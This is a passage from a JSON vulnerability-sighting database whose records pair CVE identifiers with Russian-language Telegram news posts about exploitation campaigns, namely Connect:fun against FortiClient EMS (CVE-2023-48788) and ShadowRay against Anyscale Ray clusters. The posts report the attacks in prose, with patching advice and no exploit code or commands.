\u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2023-12-19T20:07:30.000000Z"}, {"uuid": "bac848d7-ce00-4a2a-8100-9d169b17b9fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/true_secator/5653", "content": "\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0432\u0435\u0441\u0435\u043d\u043d\u0435\u0435 \u043e\u0431\u043e\u0441\u0442\u0440\u0435\u043d\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0443 \u0448\u0438\u0437\u0438\u043a\u043e\u0432, \u043d\u043e \u0438 \u0443 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441 \u043d\u0435\u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043d\u0442\u0443\u0437\u0438\u0430\u0437\u043c\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0435\u0438\u0441\u043f\u0435\u0447\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439.\n\n\u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u044d\u0442\u043e\u0433\u043e \u0441\u0442\u0430\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0439 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0431\u0430\u0433 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Fortinet FortiClient EMS \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 ScreenConnect \u0438 Metasploit Powerfun.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 (CVE-2023-48788) \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 9.3 \u043f\u043e CVSS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u041a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043a\u043e\u0434\u043e\u0432\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 Connect:fun \u0438\u0437-\u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f ScreenConnect \u0438 Powerfun \u0434\u043b\u044f \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u0443\u044e \u043c\u0435\u0434\u0438\u0430\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e, \u0447\u044c\u0451 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e FortiClient EMS \u0442\u043e\u0440\u0447\u0430\u043b\u043e \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 PoC \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 21 \u043c\u0430\u0440\u0442\u0430 2024 \u0433\u043e\u0434\u0430. \n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0434\u043d\u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c ScreenConnect, \u0430 \u0437\u0430\u0442\u0435\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u043e\u0444\u0442\u0438\u043d\u0443 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b msiexec, \u043d\u043e \u0431\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u043d\u043e.\n\n\u041e\u0434\u043d\u0430\u043a\u043e 25 \u043c\u0430\u0440\u0442\u0430 \u0431\u044b\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043e\u0434\u0430 PowerShell, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u0441\u043a\u0440\u0438\u043f\u0442 Powerfun Metasploit \u0438 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c IP-\u0430\u0434\u0440\u0435\u0441\u043e\u043c.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 ScreenConnect \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 (\"ursketz[.]com\") \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c certutil, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0441\u044f \u0447\u0435\u0440\u0435\u0437 msiexec \u043f\u0435\u0440\u0435\u0434 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \n\n\u0414\u043e\u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e, \u043d\u043e \u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0430\u043a\u0442\u0438\u0432\u0435\u043d \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2022 \u0433\u043e\u0434\u0430 \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Fortinet, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0432\u044c\u0435\u0442\u043d\u0430\u043c\u0441\u043a\u0438\u0439 \u0438 \u043d\u0435\u043c\u0435\u0446\u043a\u0438\u0439 \u044f\u0437\u044b\u043a\u0438 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u043f\u043e \u0441\u0442\u0430\u0440\u0438\u043d\u043a\u0435 \u0432 \u0440\u0443\u043a\u043e\u043f\u0430\u0448\u043d\u0443\u044e, \u0447\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u043c\u0438 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u043c\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u043b\u0433\u0438\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438, \u043a\u0430\u043a \u0431\u044b \u043d\u0430\u043c\u0435\u043a\u0430\u044f, \u0447\u0442\u043e \u0446\u0435\u043b\u044c \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e.\n\n\u041f\u043e \u0438\u0442\u043e\u0433\u0443, \u043c\u043e\u0440\u0430\u043b\u044c \u0441\u0435\u0439 \u0431\u0430\u0441\u043d\u0438 \u0442\u0430\u043a\u043e\u0432\u0430, \u0447\u0442\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.", "creation_timestamp": "2024-04-18T15:58:56.000000Z"}, {"uuid": "8def38cb-bfa9-4a9a-bedf-0c35677c0df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48023", "type": "exploited", "source": "https://t.me/true_secator/5575", "content": "Oligo \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u043c \u0432\u0437\u043b\u043e\u043c\u0435 \u0441\u043e\u0442\u0435\u043d \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0430 Anyscale Ray \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c, \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u0435\u0435 \u043a\u0430\u043a \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435.\n\n\u0412 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 Anyscale \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Ray, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u043d\u0438\u0445:  CVE-2023-6019, CVE-2023-6020, CVE-2023-6021 \u0438 CVE-2023-48023.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u044f\u0442\u0430\u044f CVE-2023-48022, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c \u0431\u0435\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e Anyscale, \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0438 \u043d\u0435 \u043d\u0443\u0436\u0434\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nAnyscale \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445, \u043d\u0430\u0440\u0443\u0448\u0430\u044e\u0449\u0438\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043f\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0441\u0442\u0440\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435.\n\n\u0421\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441\u043c\u0435\u043a\u043d\u0443\u0432\u0448\u0438\u0435 \u0444\u0438\u0448\u043a\u0443 \u0445\u0430\u043a\u0435\u0440\u044b \u0431\u044b\u0441\u0442\u0440\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 5 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e ShadowRay \u0441 \u0446\u0435\u043b\u044c\u044e \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u044b\u0441\u044f\u0447 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439.\n\nCVE-2023-48022 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9,8 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u043e \u0432\u0441\u0435\u043c \u0437\u0430\u043c\u0435\u0442\u043a\u0430\u043c \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Oligo, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438\u00a0\u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0441\u043e\u0442\u043d\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 Ray, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0445\u0438\u0442\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0418\u0418, \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445, \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u043a\u043b\u044e\u0447\u0438 SSH, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u043e\u043a\u0435\u043d\u044b OpenAI, HuggingFace \u0438 Stripe.\n\n\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u043c\u043d\u043e\u0433\u0438\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u0421\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a API Kubernetes \u0438 \u0442\u043e\u043a\u0435\u043d\u044b Slack.\n\nOligo \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u0430\u043c\u0438, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 XMRig, NBMiner \u0438 Zephyr \u043d\u0430 \u0431\u0430\u0437\u0435 Java, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u043c\u0438 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u0430\u0442\u0430\u043a \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, Oligo \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u0430 ShadowRay \u0441\u0442\u043e\u0438\u0442 \u043e\u043f\u044b\u0442\u043d\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f Interactsh \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 \u043e\u0431\u0449\u0435\u0439 \u0434\u0435\u0437\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043f\u043e\u0440\u043d\u043e\u0439 CVE.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432 base64, \u0432\u044b\u044f\u0432\u043b\u044f\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u043e\u0434\u043d\u0438\u043c\u00a0AV-\u0434\u0432\u0438\u0436\u043a\u043e\u043c VirusTotal.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0438\u043c\u0435\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 30 500 \u0437\u0432\u0435\u0437\u0434 \u043d\u0430 GitHub \u0438 